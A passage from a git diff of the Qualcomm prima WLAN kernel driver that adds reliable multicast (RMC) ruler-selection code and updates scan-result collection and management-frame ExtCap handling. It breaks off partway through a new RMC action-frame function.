frameLen);) + return; + } + + pFrameData = WDA_GET_RX_MPDU_DATA((tANI_U8 *)pMsgBuf) + + sizeof(tSirMacIbssExtNetworkFrameHdr); + + if (!pFrameData) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Inform_Cancel:NULL data"));) + return; + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, FL("RMC:Ruler_Inform_Cancel lock acquire failed")); + return; + } + + /* + * Find the entry for this Group Address. + */ + entry = __rmcGroupLookupHashEntry(pMac, pHdr->sa); + if (NULL == entry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Inform_Cancel: No entry"));) + goto done; + } + + __limPostMsgUpdateInd(pMac, eRMC_RULER_CANCELLED, + eRMC_RULER_ROLE, pHdr->sa, psessionEntry->selfMacAddr); + + /* + * Delete hash entry for this Group address. + */ + status = __rmcGroupDeleteHashEntry(pMac, pHdr->sa); + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC: Ruler_Inform_Cancel:hash delete failed"));) + } + +done: + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: Ruler_Inform_Cancel: lock release failed")); + } + return; +} + +void +limProcessRMCMessages(tpAniSirGlobal pMac, eRmcMessageType msgType, + tANI_U32 *pMsgBuf) +{ + + if (pMsgBuf == NULL) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Buffer is Pointing to NULL"));) + return; + } + + limLog(pMac, LOG1, FL("RMC: limProcessRMCMessages: %s"), + __limRulerMessageToString(msgType)); + + switch (msgType) + { + case eLIM_RMC_ENABLE_REQ: + __limProcessRMCEnableRequest(pMac, pMsgBuf); + break; + + case eLIM_RMC_DISABLE_REQ: + __limProcessRMCDisableRequest(pMac, pMsgBuf); + break; + + case eLIM_RMC_RULER_SELECT_RESP: + __limProcessRMCRulerSelectResponse(pMac, pMsgBuf); + break; + + case eLIM_RMC_RULER_PICK_NEW: + __limProcessRMCRulerPickNew(pMac, pMsgBuf); + break; + + case eLIM_RMC_OTA_RULER_INFORM_SELECTED: + __limProcessRMCRulerInformSelected(pMac, pMsgBuf); + break; + + case eLIM_RMC_BECOME_RULER_RESP: + __limProcessRMCBecomeRulerResp(pMac, pMsgBuf); + break; + + case eLIM_RMC_OTA_RULER_INFORM_CANCELLED: + __limProcessRMCRulerInformCancelled(pMac, pMsgBuf); + break; + + + default: + break; + } // switch (msgType) + return; +} /*** end limProcessRMCMessages() ***/ + +void +limRmcInit(tpAniSirGlobal pMac) +{ + tANI_U32 cfgValue; + + if (wlan_cfgGetInt(pMac, WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY, + &cfgValue) != eSIR_SUCCESS) + { + /** + * Could not get Action Period Frequency value + * from CFG. Log error. + */ + limLog(pMac, LOGP, FL("could not retrieve ActionPeriodFrequency")); + } + + cfgValue = SYS_MS_TO_TICKS(cfgValue); + + vos_mem_zero(&pMac->rmcContext, sizeof(pMac->rmcContext)); + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_init(&pMac->rmcContext.lkRmcLock))) + { + PELOGE(limLog(pMac, LOGE, FL("RMC lock init failed!"));) + } + + if (tx_timer_create(&pMac->rmcContext.gRmcRulerSelectTimer, + "RMC RSP TIMEOUT", + __rmcRulerSelectTimerHandler, + 0 /* param */, + cfgValue, 0, + TX_NO_ACTIVATE) != TX_SUCCESS) + { + limLog(pMac, LOGE, FL("could not create RMC response timer")); + } + + pMac->rmcContext.rmcTimerValInTicks = cfgValue; +} + +void +limRmcCleanup(tpAniSirGlobal pMac) +{ + limRmcIbssDelete(pMac); + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_destroy(&pMac->rmcContext.lkRmcLock))) + { + PELOGE(limLog(pMac, LOGE, FL("RMC lock destroy failed!"));) + } + + tx_timer_delete(&pMac->rmcContext.gRmcRulerSelectTimer); +} + +void +limRmcTransmitterDelete(tpAniSirGlobal pMac, tSirMacAddr transmitter) +{ + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: limRMCTransmitterDelete lock acquire failed")); + return; + } + + __rmcGroupDeleteHashEntry(pMac, transmitter); + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: limRMCTransmitterDelete lock release failed")); + } + + limLog(pMac, LOG1, FL("RMC: limRmcTransmitterDelete complete")); +} + +void +limRmcIbssDelete(tpAniSirGlobal pMac) +{ + tpPESession psessionEntry; + tSirMacAddr zeroMacAddr = { 0, 0, 0, 0, 0, 0 }; + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: limRmcIbssDelete:No active IBSS"));) + return; + } + + if (VOS_FALSE == vos_mem_compare(&zeroMacAddr, + &pMac->rmcContext.ruler, sizeof(tSirMacAddr))) + { + __limPostMsgUpdateInd(pMac, eRMC_RULER_CANCELLED, + eRMC_TRANSMITTER_ROLE, psessionEntry->selfMacAddr, + pMac->rmcContext.ruler); + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: limRmcIbssDelete lock acquire failed")); + return; + } + + /* Cancel pending timer */ + tx_timer_deactivate(&pMac->rmcContext.gRmcRulerSelectTimer); + + /* Delete all entries from Ruler database. */ + __rmcGroupDeleteAllEntries(pMac); + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: limRmcIbssDelete lock release failed")); + } + + limLog(pMac, LOG1, FL("RMC: limRmcIbssDelete complete")); +} + +void +limRmcDumpStatus(tpAniSirGlobal pMac) +{ + tLimRmcGroupContext *entry; + int index, count; + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: limRmcDumpStatus lock acquire failed")); + return; + } + + + limLog(pMac, LOGE, FL(" ----- RMC Transmitter Information ----- \n")); + limLog(pMac, LOGE, + FL(" Ruler Address | RMC State \n")); + + if (pMac->rmcContext.state != eRMC_RULER_NOT_SELECTED) + { + limLog(pMac,LOGE, FL( MAC_ADDRESS_STR " | %s\n"), + MAC_ADDR_ARRAY(pMac->rmcContext.ruler), + __limMcastTxStateToString(pMac->rmcContext.state)); + } + + limLog( pMac,LOGE, FL(" ----- RMC Ruler Information ----- \n")); + limLog( pMac,LOGE, FL(" Transmitter Address\n")); + + count = 0; + for (index = 0; index < RMC_MCAST_GROUPS_HASH_SIZE; index++) + { + entry = pMac->rmcContext.rmcGroupRxHashTable[index]; + + while (entry) + { + count++; + limLog( pMac,LOGE, FL("%d. " MAC_ADDRESS_STR " \n"), + count, MAC_ADDR_ARRAY(entry->transmitter)); + entry = entry->next; + } + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: limRmcDumpStatus lock release failed")); + } + + return; + +} + +VOS_STATUS +limRmcTriggerRulerSelection(tpAniSirGlobal pMac, tSirMacAddr macAddr) +{ + if ((TRUE == pMac->rmcContext.rmcEnabled) && + (eRMC_RULER_NOT_SELECTED == pMac->rmcContext.state)) + { + limLog(pMac, LOG1, + FL("Ruler selection trigerred in FW")); + + __limPostMsgRulerReq(pMac, eRMC_SUGGEST_RULER_CMD, macAddr); + + pMac->rmcContext.state = eRMC_RULER_ENABLE_REQUESTED; + + return VOS_STATUS_SUCCESS; + } + else + { + limLog(pMac, LOG1, + FL("Could not trigger ruler selection: RMC state %d rmcEnabled %d"), + pMac->rmcContext.state, pMac->rmcContext.rmcEnabled); + + return VOS_STATUS_E_FAILURE; + } +} + +#endif /* WLAN_FEATURE_RMC */ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.h b/drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.h new file mode 100644 index 0000000000000..1ebf0deb99eb1 --- /dev/null +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.h @@ -0,0 +1,113 @@ +/* + * Copyright (c) 2013-2016 The Linux Foundation. All rights reserved. + * + * Previously licensed under the ISC license by Qualcomm Atheros, Inc. + * + * + * Permission to use, copy, modify, and/or distribute this software for + * any purpose with or without fee is hereby granted, provided that the + * above copyright notice and this permission notice appear in all + * copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL + * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE + * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER + * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR + * PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * This file was originally distributed by Qualcomm Atheros, Inc. + * under proprietary terms before Copyright ownership was assigned + * to the Linux Foundation. + */ + +/* + * + * Date: 08/15/13 + * History:- + * Date Modified by Modification Information + * -------------------------------------------------------------------- + */ +#ifndef __LIM_RMC_H +#define __LIM_RMC_H + +#ifdef WLAN_FEATURE_RMC + +typedef enum { + eLIM_RMC_ENABLE_REQ = 0, + eLIM_RMC_DISABLE_REQ = 1, + eLIM_RMC_BECOME_RULER_RESP = 2, + eLIM_RMC_RULER_SELECT_RESP = 3, + eLIM_RMC_RULER_PICK_NEW = 4, + eLIM_RMC_OTA_RULER_INFORM_CANCELLED = 5, + eLIM_RMC_OTA_RULER_INFORM_ACK = 6, + eLIM_RMC_OTA_RULER_INFORM_SELECTED = 7, +} eRmcMessageType; + +typedef enum { + eRMC_RULER_NOT_SELECTED = 0, + eRMC_RULER_ENABLE_REQUESTED = 1, + eRMC_RULER_OTA_REQUEST_SENT = 2, + eRMC_RULER_ACTIVE = 3, +} eRmcMcastTxState; + +typedef enum { + eRMC_IS_NOT_A_RULER = 0, + eRMC_RULER_PENDING = 1, + eRMC_IS_A_RULER = 2, +} eRmcRulerState; + +enum { + eRMC_SUGGEST_RULER_CMD = 0, + eRMC_BECOME_RULER_CMD = 1, +}; + +enum { + eRMC_RULER_ACCEPTED = 0, //Host-->FW + eRMC_RULER_CANCELLED = 1, //Host-->FW + eRMC_RULER_PICK_NEW = 2, //FW-->Host +}; + +/* tRoleType; */ +typedef enum +{ + eRMC_RULER_ROLE, + eRMC_TRANSMITTER_ROLE, +} eRmcRole; + +#define RMC_MCAST_GROUPS_HASH_SIZE 32 + +typedef struct sLimRmcGroupContext +{ + tSirMacAddr transmitter; + eRmcRulerState isRuler; + struct sLimRmcGroupContext *next; +} tLimRmcGroupContext, *tpLimRmcGroupContext; + +typedef struct sLimRmcContext +{ + tANI_BOOLEAN rmcEnabled; + tSirMacAddr ruler; + eRmcMcastTxState state; + TX_TIMER gRmcRulerSelectTimer; + tANI_U32 rmcTimerValInTicks; + vos_lock_t lkRmcLock; + tLimRmcGroupContext *rmcGroupRxHashTable[RMC_MCAST_GROUPS_HASH_SIZE]; +} tLimRmcContext, *tpLimRmcContext; + + +void limRmcInit(tpAniSirGlobal pMac); +void limRmcCleanup(tpAniSirGlobal pMac); +void limRmcTransmitterDelete(tpAniSirGlobal pMac, tSirMacAddr transmitter); +void limRmcIbssDelete(tpAniSirGlobal pMac); +void limRmcDumpStatus(tpAniSirGlobal pMac); + +VOS_STATUS +limRmcTriggerRulerSelection(tpAniSirGlobal pMac, tSirMacAddr macAddr); +#endif /* WLAN_FEATURE_RMC */ + +#endif /* __LIM_RMC_H */ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.c index afcbc31809c7e..26b3b5bf55ce2 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -125,14 +125,14 @@ limDeactivateMinChannelTimerDuringScan(tpAniSirGlobal pMac) * @return None */ #if defined WLAN_FEATURE_VOWIFI -eHalStatus +void limCollectBssDescription(tpAniSirGlobal pMac, tSirBssDescription *pBssDescr, tpSirProbeRespBeacon pBPR, tANI_U8 *pRxPacketInfo, tANI_U8 fScanning) #else -eHalStatus +void limCollectBssDescription(tpAniSirGlobal pMac, tSirBssDescription *pBssDescr, tpSirProbeRespBeacon pBPR, @@ -153,26 +153,15 @@ limCollectBssDescription(tpAniSirGlobal pMac, pBody = WDA_GET_RX_MPDU_DATA(pRxPacketInfo); rfBand = WDA_GET_RX_RFBAND(pRxPacketInfo); - /** - * Drop all the beacons and probe response without P2P IE during P2P search - */ - if (NULL != pMac->lim.gpLimMlmScanReq && pMac->lim.gpLimMlmScanReq->p2pSearch) - { - if (NULL == limGetP2pIEPtr(pMac, (pBody + SIR_MAC_B_PR_SSID_OFFSET), ieLen)) - { - limLog( pMac, LOG3, MAC_ADDRESS_STR, MAC_ADDR_ARRAY(pHdr->bssId)); - return eHAL_STATUS_FAILURE; - } - } /** * Length of BSS desription is without length of * length itself and length of pointer - * that holds the next BSS description + * that holds ieFields */ pBssDescr->length = (tANI_U16)( - sizeof(tSirBssDescription) - sizeof(tANI_U16) - - sizeof(tANI_U32) + ieLen); + ((uintptr_t)OFFSET_OF(tSirBssDescription, ieFields)) - + sizeof(pBssDescr->length) + ieLen); // Copy BSS Id vos_mem_copy((tANI_U8 *) &pBssDescr->bssId, @@ -187,7 +176,32 @@ limCollectBssDescription(tpAniSirGlobal pMac, pBssDescr->beaconInterval = pBPR->beaconInterval; pBssDescr->capabilityInfo = limGetU16((tANI_U8 *) &pBPR->capabilityInfo); - if(!pBssDescr->beaconInterval ) + pBssDescr->HTCapsPresent = 0; + pBssDescr->chanWidth = eHT_CHANNEL_WIDTH_20MHZ; + pBssDescr->wmeInfoPresent = 0; + pBssDescr->vhtCapsPresent = 0; + pBssDescr->beacomformingCapable = 0; + /* HT capability */ + if (pBPR->HTCaps.present) { + pBssDescr->HTCapsPresent = 1; + if (pBPR->HTCaps.supportedChannelWidthSet) + pBssDescr->chanWidth = eHT_CHANNEL_WIDTH_40MHZ; + } + if (pBPR->wmeEdcaPresent) + pBssDescr->wmeInfoPresent = 1; + +#ifdef WLAN_FEATURE_11AC + /* VHT Parameters */ + if (pBPR->VHTCaps.present) { + pBssDescr->vhtCapsPresent = 1; + if (pBPR->VHTCaps.muBeamformerCap) + pBssDescr->beacomformingCapable = 1; + } + if (pBPR->VHTOperation.present) + if (pBPR->VHTOperation.chanWidth == 1) + pBssDescr->chanWidth = eHT_CHANNEL_WIDTH_80MHZ; +#endif + if(!pBssDescr->beaconInterval ) { limLog(pMac, LOGW, FL("Beacon Interval is ZERO, making it to default 100 " @@ -243,7 +257,7 @@ limCollectBssDescription(tpAniSirGlobal pMac, //SINR no longer reported by HW pBssDescr->sinr = 0; - pBssDescr->nReceivedTime = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pBssDescr->nReceivedTime = vos_timer_get_system_time(); #if defined WLAN_FEATURE_VOWIFI if( fScanning ) @@ -270,13 +284,14 @@ limCollectBssDescription(tpAniSirGlobal pMac, } #endif -#ifdef FEATURE_WLAN_ESE +#if defined(FEATURE_WLAN_ESE) || defined(WLAN_FEATURE_ROAM_SCAN_OFFLOAD) pBssDescr->QBSSLoad_present = FALSE; pBssDescr->QBSSLoad_avail = 0; if( pBPR->QBSSLoad.present) { pBssDescr->QBSSLoad_present = TRUE; pBssDescr->QBSSLoad_avail = pBPR->QBSSLoad.avail; + pBssDescr->QBSS_ChanLoad = pBPR->QBSSLoad.chautil; } #endif // Copy IE fields @@ -292,7 +307,7 @@ limCollectBssDescription(tpAniSirGlobal pMac, pBssDescr->aniIndicator, ieLen ); - return eHAL_STATUS_SUCCESS; + return; } /*** end limCollectBssDescription() ***/ /** @@ -522,19 +537,11 @@ limCheckAndAddBssDescription(tpAniSirGlobal pMac, // In scan state, store scan result. #if defined WLAN_FEATURE_VOWIFI - status = limCollectBssDescription(pMac, &pBssDescr->bssDescription, + limCollectBssDescription(pMac, &pBssDescr->bssDescription, pBPR, pRxPacketInfo, fScanning); - if (eHAL_STATUS_SUCCESS != status) - { - goto last; - } #else - status = limCollectBssDescription(pMac, &pBssDescr->bssDescription, + limCollectBssDescription(pMac, &pBssDescr->bssDescription, pBPR, pRxPacketInfo); - if (eHAL_STATUS_SUCCESS != status) - { - goto last; - } #endif pBssDescr->bssDescription.fProbeRsp = fProbeRsp; @@ -609,12 +616,10 @@ limCheckAndAddBssDescription(tpAniSirGlobal pMac, } }//(eANI_BOOLEAN_TRUE == fScanning) -last: if( eHAL_STATUS_SUCCESS != status ) { vos_mem_free( pBssDescr ); } - return; } /****** end limCheckAndAddBssDescription() ******/ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.h b/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.h index f9b43a05c09a4..28ea9435a5f51 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limScanResultUtils.h @@ -61,13 +61,13 @@ void limReInitLfrScanResults(tpAniSirGlobal); tANI_U32 limDeactivateMinChannelTimerDuringScan(tpAniSirGlobal); void limCheckAndAddBssDescription(tpAniSirGlobal, tpSirProbeRespBeacon, tANI_U8 *, tANI_BOOLEAN, tANI_U8); #if defined WLAN_FEATURE_VOWIFI -eHalStatus limCollectBssDescription(tpAniSirGlobal, +void limCollectBssDescription(tpAniSirGlobal, tSirBssDescription *, tpSirProbeRespBeacon, tANI_U8 *, tANI_U8); #else -eHalStatus limCollectBssDescription(tpAniSirGlobal, +void limCollectBssDescription(tpAniSirGlobal, tSirBssDescription *, tpSirProbeRespBeacon, tANI_U8 *); diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendManagementFrames.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendManagementFrames.c index 4403bda943099..1799c447e3b1a 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendManagementFrames.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendManagementFrames.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -109,7 +109,7 @@ tSirRetStatus limStripOffExtCapIE(tpAniSirGlobal pMac, tempLen += (elem_len + 2); } else - { /*Est Cap present size is 8 + 2 byte at present*/ + { if ( NULL != pExtractedExtCapIEBuf ) { vos_mem_set(pExtractedExtCapIEBuf, @@ -135,6 +135,7 @@ void limUpdateExtCapIEtoStruct(tpAniSirGlobal pMac, tDot11fIEExtCap *pDst) { tANI_U8 pOut[DOT11F_IE_EXTCAP_MAX_LEN]; + tANI_U8 tag, len, *val; if ( NULL == pBuf ) { @@ -149,22 +150,23 @@ void limUpdateExtCapIEtoStruct(tpAniSirGlobal pMac, return ; } - if ( DOT11F_EID_EXTCAP != pBuf[0] || - pBuf[1] > DOT11F_IE_EXTCAP_MAX_LEN ) + /* Get tlv */ + tag = pBuf[0]; + len = pBuf[1]; + val = &pBuf[2]; + + if ( DOT11F_EID_EXTCAP != tag || + len > DOT11F_IE_EXTCAP_MAX_LEN ) { limLog( pMac, LOG1, - FL("Invalid IEs eid = %d elem_len=%d "), - pBuf[0],pBuf[1]); + FL("Invalid IEs eid = %d elem_len=%d "), tag, len); return; } - vos_mem_set(( tANI_U8* )&pOut[0], DOT11F_IE_EXTCAP_MAX_LEN, 0); - /* conversion should follow 4, 2, 2 byte order */ - limUtilsframeshtonl(pMac, &pOut[0],*((tANI_U32*)&pBuf[2]),0); - limUtilsframeshtons(pMac, &pOut[4],*((tANI_U16*)&pBuf[6]),0); - limUtilsframeshtons(pMac, &pOut[6],*((tANI_U16*)&pBuf[8]),0); + vos_mem_zero(pOut, DOT11F_IE_EXTCAP_MAX_LEN); + vos_mem_copy(pOut, val, len); if ( DOT11F_PARSE_SUCCESS != dot11fUnpackIeExtCap( pMac, - &pOut[0], DOT11F_IE_EXTCAP_MAX_LEN, pDst) ) + pOut, len, pDst) ) { limLog( pMac, LOGE, FL("dot11fUnpackIeExtCap Parse Error ")); @@ -196,18 +198,41 @@ tSirRetStatus limStripOffExtCapIEAndUpdateStruct(tpAniSirGlobal pMac, } void limMergeExtCapIEStruct(tDot11fIEExtCap *pDst, - tDot11fIEExtCap *pSrc) + tDot11fIEExtCap *pSrc, + bool add) { - tANI_U8 *tempDst = (tANI_U8 *)pDst; - tANI_U8 *tempSrc = (tANI_U8 *)pSrc; - tANI_U8 structlen = sizeof(tDot11fIEExtCap); + tANI_U8 *tempDst = (tANI_U8 *)pDst->bytes; + tANI_U8 *tempSrc = (tANI_U8 *)pSrc->bytes; + tANI_U8 structlen = DOT11F_IE_EXTCAP_MAX_LEN; + + // if src is not present, nothing to do + if(!pSrc->present) { + return; + } + // if dst is not present, and add=false, nothing to do + if (!pDst->present && !add) { + return; + } + + // in other cases, need to merge the bits + pDst->present = 1; while(tempDst && tempSrc && structlen--) { - *tempDst |= *tempSrc; + if (add) { + *tempDst |= *tempSrc; + } else { + *tempDst &= *tempSrc; + } tempDst++; tempSrc++; } + pDst->num_bytes = lim_compute_ext_cap_ie_length(pDst); + + // if all bits are zero, it means it is not prsent. + if (pDst->num_bytes == 0) { + pDst->present = 0; + } } /** @@ -944,7 +969,7 @@ limSendProbeRspMgmtFrame(tpAniSirGlobal pMac, /*merge ExtCap IE*/ if (extractedExtCapFlag && extractedExtCap.present) { - limMergeExtCapIEStruct(&pFrm->ExtCap, &extractedExtCap); + limMergeExtCapIEStruct(&pFrm->ExtCap, &extractedExtCap, true); } nStatus = dot11fGetPackedProbeResponseSize( pMac, pFrm, &nPayload ); @@ -1627,7 +1652,7 @@ limSendAssocRspMgmtFrame(tpAniSirGlobal pMac, /* merge the ExtCap struct*/ if (extractedExtCapFlag && extractedExtCap.present) { - limMergeExtCapIEStruct(&(frm.ExtCap), &extractedExtCap); + limMergeExtCapIEStruct(&(frm.ExtCap), &extractedExtCap, true); } nStatus = dot11fGetPackedAssocResponseSize( pMac, &frm, &nPayload ); @@ -2293,7 +2318,7 @@ limSendAssocReqMgmtFrame(tpAniSirGlobal pMac, vos_mem_set( ( tANI_U8* )pFrm, sizeof( tDot11fAssocRequest ), 0 ); vos_mem_set(( tANI_U8* )&extractedExtCap, sizeof( tDot11fIEExtCap ), 0); - if (psessionEntry->is_ext_caps_present) + if (psessionEntry->ExtCap.present) { nSirStatus = limStripOffExtCapIEAndUpdateStruct(pMac, pAddIE, &nAddIELen, @@ -2310,21 +2335,12 @@ limSendAssocReqMgmtFrame(tpAniSirGlobal pMac, */ else { - if(extractedExtCap.interworkingService) - { - extractedExtCap.qosMap = 1; - } - /* No need to merge the EXT Cap from Supplicant - * if interworkingService is not set, as currently - * driver is only interested in interworkingService - * capability from supplicant. if in - * future any other EXT Cap info is required from - * supplicant it needs to be handled here. - */ - else - { - extractedExtCapFlag = eANI_BOOLEAN_FALSE; + struct s_ext_cap *p_ext_cap = (struct s_ext_cap *)extractedExtCap.bytes; + if (p_ext_cap->interworkingService) { + p_ext_cap->qosMap = 1; } + extractedExtCap.num_bytes = lim_compute_ext_cap_ie_length(&extractedExtCap); + extractedExtCapFlag = (extractedExtCap.num_bytes > 0); } caps = pMlmAssocReq->capabilityInfo; @@ -2491,7 +2507,7 @@ limSendAssocReqMgmtFrame(tpAniSirGlobal pMac, } #endif - if (psessionEntry->is_ext_caps_present) + if (psessionEntry->ExtCap.present) PopulateDot11fExtCap( pMac, &pFrm->ExtCap, psessionEntry); #if defined WLAN_FEATURE_VOWIFI_11R @@ -2528,7 +2544,13 @@ limSendAssocReqMgmtFrame(tpAniSirGlobal pMac, /* merge the ExtCap struct*/ if (extractedExtCapFlag && extractedExtCap.present) { - limMergeExtCapIEStruct(&pFrm->ExtCap, &extractedExtCap); + limMergeExtCapIEStruct(&pFrm->ExtCap, &extractedExtCap, true); + } + + if (pFrm->ExtCap.present && psessionEntry->ExtCap.present) { + limMergeExtCapIEStruct(&pFrm->ExtCap, &psessionEntry->ExtCap, false); + limLog(pMac, LOG1, + FL("Clear the bits in EXTCAP IE that AP don't support to avoid IoT issues.")); } nStatus = dot11fGetPackedAssocRequestSize( pMac, pFrm, &nPayload ); @@ -2657,7 +2679,10 @@ limSendAssocReqMgmtFrame(tpAniSirGlobal pMac, { txFlag |= HAL_USE_PEER_STA_REQUESTED_MASK; } - +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_ASSOC_START_EVENT, psessionEntry, + eSIR_SUCCESS, eSIR_SUCCESS); +#endif pMacHdr = ( tpSirMacMgmtHdr ) pFrame; limLog( pMac, LOG1, FL("Sending Assoc req over WQ5 to "MAC_ADDRESS_STR " From " MAC_ADDRESS_STR),MAC_ADDR_ARRAY(pMacHdr->da), @@ -2973,7 +2998,7 @@ limSendReassocReqWithFTIEsMgmtFrame(tpAniSirGlobal pMac, } #endif - if (psessionEntry->is_ext_caps_present) + if (psessionEntry->ExtCap.present) PopulateDot11fExtCap( pMac, &frm.ExtCap, psessionEntry); nStatus = dot11fGetPackedReAssocRequestSize( pMac, &frm, &nPayload ); @@ -3120,21 +3145,33 @@ limSendReassocReqWithFTIEsMgmtFrame(tpAniSirGlobal pMac, vos_mem_free(psessionEntry->assocReq); psessionEntry->assocReq = NULL; } - - psessionEntry->assocReq = vos_mem_malloc(ft_ies_length); - if ( NULL == psessionEntry->assocReq ) + if (ft_ies_length) { - PELOGE(limLog(pMac, LOGE, FL("Unable to allocate memory to store assoc request"));) - psessionEntry->assocReqLen = 0; + psessionEntry->assocReq = vos_mem_malloc(ft_ies_length); + if (NULL == psessionEntry->assocReq) + { + limLog(pMac, LOGE, + FL("Unable to allocate memory for FT IEs")); + psessionEntry->assocReqLen = 0; + } + else + { + /* Store the FT IEs. This is sent to csr/hdd in join cnf response.*/ + vos_mem_copy(psessionEntry->assocReq, + pMac->ft.ftSmeContext.reassoc_ft_ies, + (ft_ies_length)); + psessionEntry->assocReqLen = ft_ies_length; + } } else { - //Store the Assoc request. This is sent to csr/hdd in join cnf response. - vos_mem_copy( psessionEntry->assocReq, pMac->ft.ftSmeContext.reassoc_ft_ies, - (ft_ies_length)); - psessionEntry->assocReqLen = (ft_ies_length); + limLog(pMac, LOG1, FL("FT IEs not present")); + psessionEntry->assocReqLen = 0; } - +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_REASSOC_START_EVENT, psessionEntry, + eSIR_SUCCESS, eSIR_SUCCESS); +#endif MTRACE(macTrace(pMac, TRACE_CODE_TX_MGMT, psessionEntry->peSessionId, pMacHdr->fc.subType)); @@ -3446,7 +3483,7 @@ limSendReassocReqMgmtFrame(tpAniSirGlobal pMac, limLog( pMac, LOG1, FL("Populate VHT IEs in Re-Assoc Request")); PopulateDot11fVHTCaps( pMac, &frm.VHTCaps, psessionEntry->currentOperChannel, eSIR_FALSE ); - if (psessionEntry->is_ext_caps_present) + if (psessionEntry->ExtCap.present) PopulateDot11fExtCap( pMac, &frm.ExtCap, psessionEntry); } #endif @@ -3559,6 +3596,10 @@ limSendReassocReqMgmtFrame(tpAniSirGlobal pMac, { txFlag |= HAL_USE_PEER_STA_REQUESTED_MASK; } +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_REASSOC_START_EVENT, psessionEntry, + eSIR_SUCCESS, eSIR_SUCCESS); +#endif MTRACE(macTrace(pMac, TRACE_CODE_TX_MGMT, psessionEntry->peSessionId, @@ -3639,6 +3680,11 @@ eHalStatus limAuthTxCompleteCnf(tpAniSirGlobal pMac, void *pData) } else pMac->authAckStatus = LIM_AUTH_ACK_RCD_FAILURE; +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_AUTH_START_EVENT, NULL, + pMac->authAckStatus, eSIR_SUCCESS); +#endif + return eHAL_STATUS_SUCCESS; } @@ -7001,3 +7047,140 @@ tSirMacAddr peer,tpPESession psessionEntry) return nSirStatus; } // End limSendSaQueryResponseFrame #endif + +#ifdef WLAN_FEATURE_RMC +tSirRetStatus +limSendRMCActionFrame(tpAniSirGlobal pMac, + tSirMacAddr peerMacAddr, + tSirRMCInfo *pRMC, + tpPESession psessionEntry) +{ + tSirRetStatus nSirStatus; + tANI_U8 *pFrame; + tDot11fRMC RMC; + tANI_U32 nPayload, nBytes, nStatus; + tpSirMacMgmtHdr pMacHdr; + void *pPacket; + eHalStatus halstatus; + tANI_U8 txFlag = 0; + tANI_U8 MagicCode[] = { 0x4f, 0x58, 0x59, 0x47, 0x45, 